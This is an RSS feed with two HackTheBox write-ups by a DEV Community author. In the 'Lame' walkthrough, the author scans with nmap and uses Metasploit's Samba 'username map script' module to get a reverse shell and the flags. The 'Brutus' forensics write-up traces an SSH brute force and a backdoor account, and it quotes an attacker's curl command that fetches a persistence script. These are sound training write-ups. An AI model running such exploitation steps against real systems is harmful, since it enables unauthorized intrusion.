<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: neiwad_</title>
    <description>The latest articles on DEV Community by neiwad_ (@neiwad_).</description>
    <link>https://dev.to/neiwad_</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1470585%2F362656e3-bf05-49b7-926e-69456f2ba0e1.png</url>
      <title>DEV Community: neiwad_</title>
      <link>https://dev.to/neiwad_</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/neiwad_"/>
    <language>en</language>
    <item>
      <title>[HTB] Machine - Lame</title>
      <dc:creator>neiwad_</dc:creator>
      <pubDate>Sun, 05 May 2024 19:53:12 +0000</pubDate>
      <link>https://dev.to/neiwad_/htb-machine-lame-12o6</link>
      <guid>https://dev.to/neiwad_/htb-machine-lame-12o6</guid>
      <description>&lt;h2&gt;
  
  
  Step 1: preparation
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Connect to the VIP HTB VPN&lt;/li&gt;
&lt;li&gt;Add $IP variable to shell for faster operation
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;IP&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;10.10.X.X
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$IP&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Step 2: enumeration
&lt;/h2&gt;

&lt;p&gt;I first start with a basic nmap scan&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nv"&gt;$IP&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This scan returns &lt;code&gt;Host seems down. If it is really up, but blocking our ping probes, try -Pn&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;So I try with the related flag&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-Pn&lt;/span&gt; &lt;span class="nv"&gt;$IP&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And it returns that 4 ports are available&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqbwa32kh19ivj5rpl059.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqbwa32kh19ivj5rpl059.png" alt="nmap basic scan result" width="522" height="208"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Given that, I make a more precise (and longer) scan&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-Pn&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nv"&gt;$IP&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fak02yyk5s5ajjw1i2slz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fak02yyk5s5ajjw1i2slz.png" alt="nmap precise scan" width="800" height="806"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I can see that vsFTPd is on version &lt;code&gt;2.3.4&lt;/code&gt; and samba is on version &lt;code&gt;3.0.20&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;It should be enough for exploitation.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 3: exploitation
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Samba 3.0.20
&lt;/h3&gt;

&lt;p&gt;A little search on the msfconsole give me a result nammed &lt;code&gt;Samba "username map script" Command Execution&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7gwh8nsy7p291dbltak9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7gwh8nsy7p291dbltak9.png" alt="msfconsole samba result" width="800" height="142"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I so use this module and check which options are available&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;msf &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; use 0
msf &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; show options
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwsvl8ziq2buzkpwuzoy2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwsvl8ziq2buzkpwuzoy2.png" alt="samba exploit options" width="800" height="408"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The RHOSTS is empty and requiered, so I set it up&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;msf &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;set &lt;/span&gt;RHOSTS &lt;span class="nv"&gt;$IP&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;replace &lt;span class="nv"&gt;$IP&lt;/span&gt; with the real target IP&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;NOTE: The LHOST need to be setted up with the HTB VPN TUN interface, not your local IP. &lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;And then I launch the exploit&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;msf &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; exploit
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7h93wux90wbwd592sd73.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7h93wux90wbwd592sd73.png" alt="exploit reverse shell" width="800" height="405"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I am now in a reversed shell!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd &lt;/span&gt;home
&lt;span class="nb"&gt;ls&lt;/span&gt;
- ftp
- makis
- service
- ...
&lt;span class="nb"&gt;cd &lt;/span&gt;makis
&lt;span class="nb"&gt;ls&lt;/span&gt;
- user.txt
&lt;span class="nb"&gt;cat &lt;/span&gt;user.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The user flag is done.&lt;/p&gt;

&lt;p&gt;For root, I come back the root of the shell, I navigate to the root folder and I get the root.txt file.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 4: that's it
&lt;/h2&gt;

&lt;p&gt;If you want to subscribe to the &lt;strong&gt;HackTheBox Academy&lt;/strong&gt;, you can use &lt;a href="https://arc.net/l/quote/qtwmafao"&gt;my referral link&lt;/a&gt;!&lt;/p&gt;

</description>
      <category>htb</category>
      <category>hackthebox</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>[HTB] Sherlock - Brutus</title>
      <dc:creator>neiwad_</dc:creator>
      <pubDate>Sun, 05 May 2024 18:07:27 +0000</pubDate>
      <link>https://dev.to/neiwad_/htb-sherlock-brutus-38bm</link>
      <guid>https://dev.to/neiwad_/htb-sherlock-brutus-38bm</guid>
      <description>&lt;p&gt;Hello, this is my writeup for the &lt;a href="https://app.hackthebox.com/sherlocks/Brutus"&gt;Brutus Sherlock&lt;/a&gt; on HackTheBox.&lt;/p&gt;

&lt;h1&gt;
  
  
  Step 1: preparation
&lt;/h1&gt;

&lt;p&gt;In a first step, I download the zip file and I use the password given to extract the archive.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwn0xlgqiy8dsbpurfmjd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwn0xlgqiy8dsbpurfmjd.png" alt="Image description" width="800" height="367"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There is two files inside:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;auth.log (linux file that keep track of authentication, whereas they are successful or not)&lt;/li&gt;
&lt;li&gt;wtmp (keep track of terminal creation or terminal assignement for users)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I first wanted to do this sherlock on my macbook, but the wtmp file is hard to open on a mac, so I sent these files to my kali vm.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;scp &lt;span class="nt"&gt;-r&lt;/span&gt; Brutus/ KALI_USER@VM_IP:~/Desktop
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  Step 2: analysis
&lt;/h1&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;Question 1: Analyzing the auth.log, can you identify the IP address used by the attacker to carry out a brute force attack?&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;After a small analysis of the auth.log, I can see that starting at 06:31:31, there is a lot of invalid user &amp;amp; password from IP 65.2.161.68.&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;Question 2: The brute force attempts were successful, and the attacker gained access to an account on the server. What is the username of this account?&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;I continue to deep dive into the auth.log and I can see that at 06:31:40, there is an accepted password for root from the above brute force IP (65.2.161.68).&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;Question 3: Can you identify the timestamp when the attacker manually logged in to the server to carry out their objectives?&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;As we can see, after that the brute force attack successfully find the root password, some other authentication failed form the same IP, so the brute force attack is still in progress.&lt;/p&gt;

&lt;p&gt;Later on the file, at 06:32:44, I can see that the root user has recreated a session from the attacker’s IP.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The timestamp 06:32:44 doesn’t works for answer, so I need to go inside wtmp file to check for the real timestamp of the root terminal, but the file seems to be corrupted on my side and it’s quite empty.&lt;br&gt;
I choosed to go to the official write-up to get the timestamp 06:32:45.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;Question 4: SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker’s session for the user account from Question 2?&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;Quite simple, under the successful login for root from attacker’s IP, we can see new session 37 for user root.&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;Question 5: The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;Still on the auth.log, I can see at 06:34:18 that a group cyberjunkie and a user were created.&lt;/p&gt;

&lt;p&gt;Later, at 06:35:15, the cyberjunkie user is added to group sudo.&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;Question 6: What is the MITRE ATT&amp;amp;CK sub-technique ID used for persistence?&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;After a little bit of research, the following sub-technique seems to be the related one.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1w8cjst5spxu7cgn5wm4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1w8cjst5spxu7cgn5wm4.png" alt="Image description" width="800" height="217"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;Question 7: How long did the attacker’s first SSH session last based on the previously confirmed authentication time and session ending within the auth.log? (seconds)&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;So the session started at 06:32:45 (question 3), and on the auth.log I can see that the session 37 was closed 06:37:24, after some crazy maths: 279 sec.&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;Question 8: The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;At 06:37:34 a new session was created for the user cyberjunkie.&lt;/p&gt;

&lt;p&gt;At 06:39:38 he launched a command as sudo that is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  Step 3: that's it
&lt;/h1&gt;

&lt;p&gt;It was my first Sherlock on HTB and it was really fun!&lt;/p&gt;

&lt;p&gt;If you want to subscribe to the &lt;strong&gt;HackTheBox Academy&lt;/strong&gt;, you can use &lt;a href="https://arc.net/l/quote/qtwmafao"&gt;my referral link&lt;/a&gt;!&lt;/p&gt;

</description>
      <category>htb</category>
      <category>hackthebox</category>
      <category>cybersecurity</category>
    </item>
  </channel>
</rss>
